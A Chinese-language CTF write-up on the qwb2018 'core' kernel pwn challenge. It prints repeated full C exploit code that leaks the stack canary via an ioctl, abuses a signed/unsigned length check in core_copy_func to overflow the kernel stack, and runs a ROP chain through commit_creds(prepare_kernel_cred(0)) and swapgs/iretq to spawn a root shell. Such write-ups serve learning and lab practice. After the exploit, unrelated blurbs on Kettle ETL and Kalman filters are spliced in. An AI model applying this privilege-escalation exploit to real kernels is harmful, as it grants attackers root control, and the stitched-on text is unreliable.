Kernel PWN 入门(二)

Basic Kernel ROP

qwb2018-core

Kernel ROP的本质是为了提权。并且rop结束部分需要引导程序流着陆回用户态.

题目给出了bzImage, core.cpio, start.sh, vmlinux四个文件。

首先将文件系统,core.cpio解包。

mkdir ./fs
cd fs
cp ../core.cpio ./core.cpio.gz
gunzip ./core.cpio.gz
cpio -idmv < ./core.cpio

发现除了常规文件以外,还多了一个gen_cpio.sh方便快速打包。

首先来看start.sh

qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

开启了kaslr保护,并且用-sgdb开了端口,所以不需要再-gdb tcp::1234开了。
不过他设置的64M内存不是很够用,我最终设置到了512M才能启动。
为了方便后续调试可以做如下修改:

qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd  ./rootfs.img \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr nopti mitigations=off" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

这里文件系统改成rootfs.img是后面我们对文件系统进行修改或者写exp后重新打包后的东西。

  • nokaslr: 禁用 KASLR(内核地址空间布局随机化),确保调试时地址固定。

  • nopti: 禁用 PTI(页表隔离),提升性能(但降低安全性)。

  • mitigations=off: 关闭所有安全缓解措施(如 Spectre/Meltdown 防护),避免干扰漏洞利用。

然后再来看fs文件下的init文件

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
 
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
 
poweroff -d 0  -f

比较特殊的地方就是将/proc/sys/kernel/kptr_restrict和/proc/sys/kernel/dmesg_restrict的内容设为了1,如此一来,就无法通过dmesg和查看/proc/kallsyms来获取函数地址了。
但是前面有一行。

cat /proc/kallsyms > /tmp/kallsyms

将kallsyms备份到了tmp文件夹下。所以我们可以查看tmp目录下的kallsyms

setsid /bin/cttyhack setuidgid 1000 /bin/sh

这里设置了权限为普通用户,改为0就是root权限,可以方便调试。

然后之后设置了poweroff -d 120 -f,这句比较影响之后的调试,可以直接删掉,或者把时间改长一点。

最后做出如下修改:

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
# 禁用内核符号地址隐藏(关键调试配置)
echo 0 > /proc/sys/kernel/kptr_restrict
echo 0 > /proc/sys/kernel/dmesg_restrict

ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 0 /bin/sh  #root

#移除关机逻辑
# echo 'sh end!\n'
# umount /proc
# umount /sys

# poweroff -d 0  -f

# 添加保持系统运行的机制
echo "[+] Debug shell exited. Keeping the system alive..."
while true; do
  sleep 99999999
done

这里可以不用sleep而是直接把120改大一点就欧克了。

分析

接下来就是分析core.ko的漏洞了
checksec发现开启了canary和nx。
在这里插入图片描述

init_module函数

在这里插入图片描述
proc_create 是 Linux 内核中的一个函数,用于创建一个新的 /proc 文件系统条目。这个函数常用于内核模块中,以便在 /proc 文件系统下创建一个新的文件,使得用户空间程序可以通过这个文件与内核模块进行交互。
这里创建一个名为 : /proc/core

对于这里的fops,也只对core_write,core_ioctl,core_release进行了注册。

core_ioctl函数

在这里插入图片描述
这里core_ioctl中定义了三种操作,分别是调用core_read()设置全局变量off,调用core_copy_func()

core_read函数

在这里插入图片描述

这里的copy_to_user(),会把内核空间中的栈上的数据拷贝到a1,a1off是我们可以控制的,因此可以利用这个函数来泄露canary

core_write函数

在这里插入图片描述

core_write是将至多0x800个字节从指定缓冲区复制到name中去

core_copy_func函数(最大漏洞所在)

在这里插入图片描述
当长度参数a1小于等于63时,便可将name中对应字节数的数据复制到栈上变量v1中去,且a1和63作比较时是有符号数,最后调用qmemcpy时转成了unsigned __int16。所以只需要将a1最低两个字节的数据随便设置成一个能装下name的长度,然后其余字节都是0xff就行了。我这里最后构造的a10xffffffffffff0100

利用思路

  1. 通过调试设置off,利用core_read函数去读取canary
  2. 构造ROP链,用core_write函数name中写入数据
  3. 调用core_copy_func,将name的内容写入栈上变量v1中,造成栈溢出,调用commit_creds(prepare_kernel_cred(0))提权。

再没有开kalsrpie的情况下:

  • 原始无pievmlinux基址是0xffffffff81000000
    commit_creds的地址是0xffffffff81000000+0x9c8e0
    prepare_kernel_creds的地址是0xffffffff8109cce0

在开启pie和kalsr的情况下,就要重新计算偏移。

可以用ropper查找后续需要的gadget

ropper --file ./vmlinux --nocolor > rop

泄露canary

先写下如下代码来获取canary

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/ioctl.h>

size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t user_cs, user_ss, user_rflags, user_sp;

void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

int set_off(int fd,unsigned long off){
	if(ioctl(fd,0x6677889C,off) == -1){
		printf("set off ioctl failed!");
		return -1;
	}
	return 0;

}

int core_read(int fd,void *addr){
	if(ioctl(fd,0x6677889B,addr) == -1){
		printf("core_read ioctl failed!");
		return -1;
	}
	return 0;

}

int core_copy_func(int fd, int64_t len) {
    if (ioctl(fd, 0x6677889A, len) == -1) {
        perror("[!] core_copy_func ioctl failed");
        return -1;
    }
    return 0;
}

int main(){
	save_status();
	int fd = open("/proc/core",O_RDWR);
	if(fd<0){
		printf("open error!!!");
		exit(-1);
	}
	printf("[+] open success!\n");
	// 泄露金丝雀
	char buf[0x40] = {0};

	set_off(fd,0x40);
	core_read(fd,buf);

	uint64_t canary = ((uint64_t*)buf)[0];
	printf("[*]leak canary is ------------>>: 0x%lx\n",canary);
	return 0;
}

这里设置off位0x40,是因为通过调试发现canary在0x40处。

执行copy_to_user()前
在这里插入图片描述
执行后:
在这里插入图片描述
这里就能看出canay的位置。然后canary已经复制到buf

泄露内核基地址

/proc/kallsymsLinux/proc文件系统中的一个虚拟文件,它提供了内核导出的所有符号(函数和变量)及其地址的列表。本质上,它是用户空间可以访问的内核符号表。此文件中的每一行都表示一个内核符号

startup_64 是 Linux 内核代码中的一个符号,通常与内核启动过程中的初始化代码相关。在cat /proc/kallsyms输出中,startup_64 对应的地址(如 0xffffffff81000000)是内核的基地址。该地址表示内核加载到内存时的起始位置。

由于init文件设置了不能查看/proc/kallsyms, 题目初始脚本将 /proc/kallsyms 写入了 /tmp/kallsyms,因此可以查看/tmp/kallsyms来获取想要的函数地址。

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/ioctl.h>

size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t user_cs, user_ss, user_rflags, user_sp;

void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

int set_off(int fd,unsigned long off){
	if(ioctl(fd,0x6677889C,off) == -1){
		printf("set off ioctl failed!");
		return -1;
	}
	return 0;

}

int core_read(int fd,void *addr){
	if(ioctl(fd,0x6677889B,addr) == -1){
		printf("core_read ioctl failed!");
		return -1;
	}
	return 0;

}

int core_copy_func(int fd, int64_t len) {
    if (ioctl(fd, 0x6677889A, len) == -1) {
        perror("[!] core_copy_func ioctl failed");
        return -1;
    }
    return 0;
}

unsigned long get_symbol_address(const char *symbol_name) {
    FILE *fp;
    char line[1024];
    unsigned long address;
    char symbol[1024];

    // 打开 /proc/kallsyms 文件
    fp = fopen("/tmp/kallsyms", "r");
    if (fp == NULL) {
        perror("fopen");
        return 0;
    }

    // 遍历每一行,查找符号
    while (fgets(line, sizeof(line), fp) != NULL) {
        // 解析每行的地址和符号名称
        if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {
            // 如果符号名称匹配,返回地址
            if (strcmp(symbol, symbol_name) == 0) {
                fclose(fp);
                return address;
            }
        }
    }

    // 如果没有找到符号,返回 0
    fclose(fp);
    return 0;
}


int main(){
	save_status();
	int fd = open("/proc/core",O_RDWR);
	if(fd<0){
		printf("open error!!!");
		exit(-1);
	}
	printf("[+] open success!\n");
	// 泄露金丝雀
	char buf[0x40] = {0};

	set_off(fd,0x40);
	core_read(fd,buf);

	uint64_t canary = ((uint64_t*)buf)[0];
	printf("[*]leak canary is ------------>>: 0x%lx\n",canary);

	// 获取内核基地址
	uint64_t kernel_base = get_symbol_address("startup_64");
	uint64_t prepare_kernel_cred_addr = get_symbol_address("prepare_kernel_cred");
	uint64_t commit_creds_addr = get_symbol_address("commit_creds");
	printf("[*]leak kernel_base address ------->>>: %p\n",kernel_base);
	printf("[*]leak prepare_kernel_cred address ------->>>: %p\n",prepare_kernel_cred_addr);
	printf("[*]leak commit_creds address ------->>>: %p\n",commit_creds_addr);


	return 0;
}

在这里插入图片描述

ROP

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/ioctl.h>

size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t user_cs, user_ss, user_rflags, user_sp;

void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

int set_off(int fd,unsigned long off){
	if(ioctl(fd,0x6677889C,off) == -1){
		printf("set off ioctl failed!");
		return -1;
	}
	return 0;

}

int core_read(int fd,void *addr){
	if(ioctl(fd,0x6677889B,addr) == -1){
		printf("core_read ioctl failed!");
		return -1;
	}
	return 0;

}

int core_copy_func(int fd, int64_t len) {
    if (ioctl(fd, 0x6677889A, len) == -1) {
        perror("[!] core_copy_func ioctl failed");
        return -1;
    }
    return 0;
}

void get_root_shell(){
	if(getuid()==0){
		system("/bin/sh");
	}else{
		puts("[-] get root shell failed.");
		exit(-1);
	}
}


unsigned long get_symbol_address(const char *symbol_name) {
    FILE *fp;
    char line[1024];
    unsigned long address;
    char symbol[1024];

    // 打开 /proc/kallsyms 文件
    fp = fopen("/tmp/kallsyms", "r");
    if (fp == NULL) {
        perror("fopen");
        return 0;
    }

    // 遍历每一行,查找符号
    while (fgets(line, sizeof(line), fp) != NULL) {
        // 解析每行的地址和符号名称
        if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {
            // 如果符号名称匹配,返回地址
            if (strcmp(symbol, symbol_name) == 0) {
                fclose(fp);
                return address;
            }
        }
    }

    // 如果没有找到符号,返回 0
    fclose(fp);
    return 0;
}


int main(){
	save_status();
	int fd = open("/proc/core",O_RDWR);
	if(fd<0){
		printf("open error!!!");
		exit(-1);
	}
	printf("[+] open success!\n");
	// 泄露金丝雀
	char buf[0x40] = {0};

	set_off(fd,0x40);
	core_read(fd,buf);

	uint64_t canary = ((uint64_t*)buf)[0];
	printf("[*]leak canary is ------------>>: 0x%lx\n",canary);

	// 获取内核基地址
	uint64_t kernel_base = get_symbol_address("startup_64");
	uint64_t prepare_kernel_cred_addr = get_symbol_address("prepare_kernel_cred");
	uint64_t commit_creds_addr = get_symbol_address("commit_creds");
	printf("[*]leak kernel_base address ------->>>: %p\n",kernel_base);
	printf("[*]leak prepare_kernel_cred address ------->>>: %p\n",prepare_kernel_cred_addr);
	printf("[*]leak commit_creds address ------->>>: %p\n",commit_creds_addr);

	size_t ROP[0x100] = {0};
	ROP[8] = canary;
	ROP[10] = kernel_base+0xb2f; //pop rdi; ret
	ROP[11] = 0;
	ROP[12] = prepare_kernel_cred_addr;
	ROP[13] = kernel_base+0x021e53;  //pop rcx; ret 
	ROP[14] = commit_creds_addr;
	ROP[15] = kernel_base+0x1ae978; //mov rdi, rax; jmp rcx; or mov rdi, rax; call rcx;
	ROP[16] = kernel_base+0xa012da; //swapgs; popfq; ret;
	ROP[17] = 0;
	ROP[18] = kernel_base+0x050ac2;  //iretq; ret;
	ROP[19] = (size_t)get_root_shell;  //rip
	ROP[20] = user_cs;
	ROP[21] = user_rflags;
	ROP[22] = user_sp;
	ROP[23] = user_ss;
	write(fd,ROP,0x800);
	puts("[+] rop loaded.");
	core_copy_func(fd,(0xffffffffffff0000|0x100));

	return 0;
}

通过 ROP 链模拟函数调用,步骤分解:

  • prepare_kernel_cred(0) 调用 prepare_kernel_cred,参数 rdi = 0
    返回值cred 结构指针)存储在 rax 寄存器
    commit_creds(rax) rax 的值作为参数传给 commit_creds(需移动到 rdi)

返回用户态
由内核态返回用户态只需要:

  • swapgs指令恢复用户态 GS 寄存器
  • sysretq或者iretq恢复到用户空间

那么我们只需要在内核中找到相应的 gadget 并执行swapgs;iretq就可以成功着陆回用户态。

通常来说,我们应当构造如下 rop 链以返回用户态并获得一个 shell:

↓   swapgs
    iretq
    user_shell_addr
    user_cs
    user_eflags //64bit user_rflags
    user_sp
    user_ss

swapgs: 交换内核态与用户态的gs寄存器

iretq&&sysretq: 这两个指令都是用于返回用户态

其中iretq等效

pop rip
pop cs
pop rflags
pop rsp
pop ss

sysretq则等效

pop rip

调试如下:
在这里插入图片描述

在这里插入图片描述

最终EXP

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/ioctl.h>

size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t user_cs, user_ss, user_rflags, user_sp;

void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

int set_off(int fd,unsigned long off){
	if(ioctl(fd,0x6677889C,off) == -1){
		printf("set off ioctl failed!");
		return -1;
	}
	return 0;

}

int core_read(int fd,void *addr){
	if(ioctl(fd,0x6677889B,addr) == -1){
		printf("core_read ioctl failed!");
		return -1;
	}
	return 0;

}

int core_copy_func(int fd, int64_t len) {
    if (ioctl(fd, 0x6677889A, len) == -1) {
        perror("[!] core_copy_func ioctl failed");
        return -1;
    }
    return 0;
}

void get_root_shell(){
	if(getuid()==0){
		system("/bin/sh");
	}else{
		puts("[-] get root shell failed.");
		exit(-1);
	}
}


unsigned long get_symbol_address(const char *symbol_name) {
    FILE *fp;
    char line[1024];
    unsigned long address;
    char symbol[1024];

    // 打开 /proc/kallsyms 文件
    fp = fopen("/tmp/kallsyms", "r");
    if (fp == NULL) {
        perror("fopen");
        return 0;
    }

    // 遍历每一行,查找符号
    while (fgets(line, sizeof(line), fp) != NULL) {
        // 解析每行的地址和符号名称
        if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {
            // 如果符号名称匹配,返回地址
            if (strcmp(symbol, symbol_name) == 0) {
                fclose(fp);
                return address;
            }
        }
    }

    // 如果没有找到符号,返回 0
    fclose(fp);
    return 0;
}


int main(){
	save_status();
	int fd = open("/proc/core",O_RDWR);
	if(fd<0){
		printf("open error!!!");
		exit(-1);
	}
	printf("[+] open success!\n");
	// 泄露金丝雀
	char buf[0x40] = {0};

	set_off(fd,0x40);
	core_read(fd,buf);

	uint64_t canary = ((uint64_t*)buf)[0];
	printf("[*]leak canary is ------------>>: 0x%lx\n",canary);

	// 获取内核基地址
	uint64_t kernel_base = get_symbol_address("startup_64");
	uint64_t prepare_kernel_cred_addr = get_symbol_address("prepare_kernel_cred");
	uint64_t commit_creds_addr = get_symbol_address("commit_creds");
	printf("[*]leak kernel_base address ------->>>: %p\n",kernel_base);
	printf("[*]leak prepare_kernel_cred address ------->>>: %p\n",prepare_kernel_cred_addr);
	printf("[*]leak commit_creds address ------->>>: %p\n",commit_creds_addr);

	size_t ROP[0x100] = {0};
	ROP[8] = canary;
	ROP[10] = kernel_base+0xb2f; //pop rdi; ret
	ROP[11] = 0;
	ROP[12] = prepare_kernel_cred_addr;
	ROP[13] = kernel_base+0x021e53;  //pop rcx; ret 
	ROP[14] = commit_creds_addr;
	ROP[15] = kernel_base+0x1ae978; //mov rdi, rax; jmp rcx; or mov rdi, rax; call rcx;
	ROP[16] = kernel_base+0xa012da; //swapgs; popfq; ret;
	ROP[17] = 0;
	ROP[18] = kernel_base+0x050ac2;  //iretq; ret;
	ROP[19] = (size_t)get_root_shell;  //rip
	ROP[20] = user_cs;
	ROP[21] = user_rflags;
	ROP[22] = user_sp;
	ROP[23] = user_ss;
	write(fd,ROP,0x800);
	puts("[+] rop loaded.");
	core_copy_func(fd,(0xffffffffffff0000|0x100));



	return 0;
}
在信息技术快速发展的背景下,构建高效的数据处理与信息管理平台已成为提升企业运营效能的重要途径。本文系统阐述基于Pentaho Data Integration(简称Kettle)中Carte组件实现的任务管理架构,重点分析在系统构建过程中采用的信息化管理方法及其技术实现路径。 作为专业的ETL(数据抽取、转换与加载)工具,Kettle支持从多样化数据源获取信息,并完成数据清洗、格式转换及目标系统导入等操作。其内置的Carte模块以轻量级HTTP服务器形态运行,通过RESTful接口提供作业与转换任务的远程管控能力,特别适用于需要分布式任务调度与状态监控的大规模数据处理环境。 在人工智能应用场景中,项目实践常需处理海量数据以支撑模型训练与决策分析。本系统通过整合Carte服务功能,构建具备智能调度特性的任务管理机制,有效保障数据传递的准确性与时效性,并通过科学的并发控制策略优化系统资源利用,从而全面提升数据处理效能。 在系统架构设计层面,核心目标在于实现数据处理流程的高度自动化,最大限度减少人工干预,同时确保系统架构的弹性扩展与稳定运行。后端服务采用Java语言开发,充分利用其跨平台特性与丰富的类库资源构建稳健的服务逻辑;前端界面则运用HTML5、CSS3及JavaScript等现代Web技术,打造直观的任务监控与调度操作界面,显著提升管理效率。 关键技术要素包括: 1. Pentaho数据集成工具:提供可视化作业设计界面,支持多源数据接入与复杂数据处理流程 2. Carte服务架构:基于HTTP协议的轻量级服务组件,通过标准化接口实现远程任务管理 3. 系统设计原则:遵循模块化与分层架构理念,确保数据安全、运行效能与系统可维护性 4. Java技术体系:构建高可靠性后端服务的核心开发平台 5. 并发管理机制:通过优先级调度与资源分配算法实现任务执行秩序控制 6. 信息化管理策略:注重数据实时同步与系统协同运作,强化决策支持能力 7. 前端技术组合:运用现代Web标准创建交互式管理界面 8. 分布式部署方案:依托Carte服务实现多节点任务分发与状态监控 该管理系统的实施不仅需要熟练掌握Kettle工具链与Carte服务特性,更需统筹Java后端架构与Web前端技术,最终形成符合大数据时代企业需求的智能化信息管理解决方案。 资源来源于网络分享,仅用于学习交流使用,请勿用于商业,如有侵权请联系我删除!
【数据融合】【状态估计】基于KF、UKF、EKF、PF、FKF、DKF卡尔曼滤波KF、无迹卡尔曼滤波UKF、拓展卡尔曼滤波数据融合研究(Matlab代码实现)内容概要:本文围绕状态估计与数据融合技术展开,重点研究了基于卡尔曼滤波(KF)、无迹卡尔曼滤波(UKF)、扩展卡尔曼滤波(EKF)、粒子滤波(PF)、固定增益卡尔曼滤波(FKF)和分布式卡尔曼滤波(DKF)等多种滤波算法的理论与Matlab代码实现,涵盖其在非线性系统、多源数据融合及动态环境下的应用。文中结合具体案例如四旋翼飞行器控制、水下机器人建模等,展示了各类滤波方法在状态估计中的性能对比与优化策略,并提供了完整的仿真代码支持。此外,还涉及信号处理、路径规划、故障诊断等相关交叉领域的综合应用。; 适合人群:具备一定控制理论基础和Matlab编程能力的研究生、科研人员及从事自动化、机器人、导航与控制系统开发的工程技术人员。; 使用场景及目标:①深入理解各类卡尔曼滤波及其变种的基本原理与适用条件;②掌握在实际系统中进行状态估计与数据融合的建模与仿真方法;③为科研项目、论文复现或工程开发提供可运行的Matlab代码参考与技术支撑; 阅读建议:建议结合文中提供的Matlab代码逐项运行与调试,对照算法流程理解每一步的数学推导与实现细节,同时可拓展至其他非线性估计问题中进行对比实验,以提升对滤波算法选型与参数调优的实战能力。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值